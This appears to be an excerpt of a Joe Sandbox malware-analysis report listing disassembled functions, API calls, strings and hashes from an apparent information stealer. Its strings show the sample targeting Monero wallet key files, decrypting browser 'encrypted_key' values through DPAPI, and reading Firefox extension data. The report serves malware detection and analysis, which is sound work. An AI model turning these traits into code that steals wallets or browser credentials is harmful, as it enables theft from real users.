Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7fe4fdd7982a85d0f8b0adcd30c40ad265bba8eaa0d5b2e5be8bfb1e6b836431
Instruction ID: 0a29ee68ed8691bd9fd241ced6fd2297b2e30409673782b1d0369f6d5890dbb5
Opcode Fuzzy Hash: 7fe4fdd7982a85d0f8b0adcd30c40ad265bba8eaa0d5b2e5be8bfb1e6b836431
Instruction Fuzzy Hash: EA81B272D20104ABCF14FBA4DDA6EFE77B9AF54300F4045A9F51676091EFB06A48CB62

Function 00C1FED7 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00C1FF9E
___AdjustPointer.LIBCMT ref: 00C1FFC1
___AdjustPointer.LIBCMT ref: 00C2005D

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction ID: 53f63e191a34e8e5b0ddff0b90928522abfa4f95e5a25e2e0179ef027a6036d4
Opcode Fuzzy Hash: 06145f3a63d5280db2389d3658a688964ecb7b0d80857c6917ca60528e3905ca
Instruction Fuzzy Hash: 6451D472500215AFFB259F95D841BFA77A5FF02310F24412EE81647992EB71EE82F790

Function 00BAA560 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00BAA664

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Strings

@, xrefs: 00BAA614
v10, xrefs: 00BAA5C6
v20, xrefs: 00BAA571

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpy
String ID: @$v10$v20
API String ID: 2746078483-278772428
Opcode ID: b6333b80979b78b952dbe7bc43782e2ed99b1f65e294300d496e252c461603ea
Instruction ID: 71c50bfbab53f8ab33cf255c7595988567d9388a2976ed1713d9b8b64dd535c2
Opcode Fuzzy Hash: b6333b80979b78b952dbe7bc43782e2ed99b1f65e294300d496e252c461603ea
Instruction Fuzzy Hash: B5515A70A14208EFDB24EFA4CD96FED77F5AF55304F408058F90A6B291EBB06A05CB61

Function 00BAF5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BAA13C
Part of subcall function 00BAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BAA161
Part of subcall function 00BAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00BAA181
Part of subcall function 00BAA110: ReadFile.KERNEL32(000000FF,?,00000000,00BA148F,00000000), ref: 00BAA1AA
Part of subcall function 00BAA110: LocalFree.KERNEL32(00BA148F), ref: 00BAA1E0
Part of subcall function 00BAA110: CloseHandle.KERNEL32(000000FF), ref: 00BAA1EA

Part of subcall function 00BB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BB8FE2

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00BC1678,00BC0D93), ref: 00BAF64C
lstrlen.KERNEL32(00000000), ref: 00BAF66B

Strings

^userContextId=4294967295, xrefs: 00BAF69C
moz-extension+++, xrefs: 00BAF6AD

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: eb72060b3a5a0f833c907b9e3dd9b18a099ba2eeea7c4bdd470ee97284a76e0e
Instruction ID: c735a3284fa7131aba21dcc2bbf9635176a0a78df8e7522e15a4704ddb6c2106
Opcode Fuzzy Hash: eb72060b3a5a0f833c907b9e3dd9b18a099ba2eeea7c4bdd470ee97284a76e0e
Instruction Fuzzy Hash: C851EF72D10108ABCF14FBE4DDA6EFD77B9AF54300F4085A8F41667191EE746A08CB62

Function 00BB37B0 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: dca86fb697612bf8fe253d4d6af25a6afc763b8256ba5f3c02346306027c04d8
Instruction ID: 43dbc6289eca4e8fef46d6e05f354d3ad03b3ccb0e1b4acc36facd7a0d207b4b
Opcode Fuzzy Hash: dca86fb697612bf8fe253d4d6af25a6afc763b8256ba5f3c02346306027c04d8
Instruction Fuzzy Hash: EC411B75D10109ABCB04EFA4D895AFEB7F8AF44704F008498F51676291EBB0AA44CFA2

Function 00BAA430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BAA13C
Part of subcall function 00BAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BAA161
Part of subcall function 00BAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00BAA181
Part of subcall function 00BAA110: ReadFile.KERNEL32(000000FF,?,00000000,00BA148F,00000000), ref: 00BAA1AA
Part of subcall function 00BAA110: LocalFree.KERNEL32(00BA148F), ref: 00BAA1E0
Part of subcall function 00BAA110: CloseHandle.KERNEL32(000000FF), ref: 00BAA1EA

Part of subcall function 00BB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BB8FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00BAA489

Part of subcall function 00BAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BA4F3E,00000000,00000000), ref: 00BAA23F
Part of subcall function 00BAA210: LocalAlloc.KERNEL32(00000040,?,?,?,00BA4F3E,00000000,?), ref: 00BAA251
Part of subcall function 00BAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BA4F3E,00000000,00000000), ref: 00BAA27A
Part of subcall function 00BAA210: LocalFree.KERNEL32(?,?,?,?,00BA4F3E,00000000,?), ref: 00BAA28F

Part of subcall function 00BAA2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00BAA2D4
Part of subcall function 00BAA2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00BAA2F3
Part of subcall function 00BAA2B0: LocalFree.KERNEL32(?), ref: 00BAA323

Strings

, xrefs: 00BAA511
DPAPI, xrefs: 00BAA4D9
"encrypted_key":", xrefs: 00BAA480

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 6f3b61d29f064825f5a98c230e2936829e696c9ddc1c97b7569235727b0cdb52
Instruction ID: 1385eecacce8d969d106d54edd5303a59f40d8183ef19efe3e5a53bc950c6911
Opcode Fuzzy Hash: 6f3b61d29f064825f5a98c230e2936829e696c9ddc1c97b7569235727b0cdb52
Instruction Fuzzy Hash: 5C3163B6D00208ABCF04EBE4DC55EEEB7F8AF59300F044598E911B3241E7309A04CBB6

Function 00BB8810 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00BC05BF), ref: 00BB885A
Process32First.KERNEL32(?,00000128), ref: 00BB886E
Process32Next.KERNEL32(?,00000128), ref: 00BB8883

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

CloseHandle.KERNEL32(?), ref: 00BB88F1

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 4362ea7b944ca9c2e018c0853e604eb86708499b0bf937650bcf018a90dcff37
Instruction ID: c5b0bb86fdf387f17dcf90fcc19fc30dec4ff1570182a308a778e907d4e4ba35
Opcode Fuzzy Hash: 4362ea7b944ca9c2e018c0853e604eb86708499b0bf937650bcf018a90dcff37
Instruction Fuzzy Hash: 0F314D71911218ABCB24EF95DD91FFEB7B8EB44700F5041D9F10EA21A0EBB06A44CFA1

Function 00C1FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00C1FE13
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00C1FE2C

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction ID: b12a343c1edbf1ed33e4420eb2f8e92b87a6994cbcfc970720b724f125b01426
Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
Instruction Fuzzy Hash: 6501D432209731EEFA3426B56CC99A73694EF127B5738433DF526805F2EF924C82B180

Function 00BB7B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BC0DE8,00000000,?), ref: 00BB7B40
RtlAllocateHeap.NTDLL(00000000), ref: 00BB7B47
GetLocalTime.KERNEL32(?,?,?,?,?,00BC0DE8,00000000,?), ref: 00BB7B54
wsprintfA.USER32 ref: 00BB7B83

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 6c5ac42f0bc3b30ffff384a82d68a2d3d1724a16830d3be77a0d728172652264
Instruction ID: 5c265be6398c695675fae594f60d546e580a232873ffffb98b2d2b80769c2f92
Opcode Fuzzy Hash: 6c5ac42f0bc3b30ffff384a82d68a2d3d1724a16830d3be77a0d728172652264
Instruction Fuzzy Hash: 87115AB2908218ABCB14DBCADD44BBEB7F8FB4CB11F00415AF655A2290E7795940C7B0

Function 00BB9470 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00BB3D3E,80000000,00000003,00000000,00000003,00000080,00000000,?,00BB3D3E,?), ref: 00BB948C
GetFileSizeEx.KERNEL32(000000FF,00BB3D3E), ref: 00BB94A9
CloseHandle.KERNEL32(000000FF), ref: 00BB94B7

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 2211c140ea6e2a0ddb9593802d9f7d41411594e223ca88f90b4fc29cb2b95eb5
Instruction ID: 4726ab5d6dd72d04f48270a9ce7e19499981f54df51c417809645a654599a15d
Opcode Fuzzy Hash: 2211c140ea6e2a0ddb9593802d9f7d41411594e223ca88f90b4fc29cb2b95eb5
Instruction Fuzzy Hash: B3F04435E04208BFDB20DFB1DC49F9E77B9AB48710F10C594FA55A7280D6B09A458B40

Function 00BBCA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00BBCA7E

Part of subcall function 00BBC2A0: __amsg_exit.LIBCMT ref: 00BBC2B0

__getptd.LIBCMT ref: 00BBCA95
__amsg_exit.LIBCMT ref: 00BBCAA3
__updatetlocinfoEx_nolock.LIBCMT ref: 00BBCAC7

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
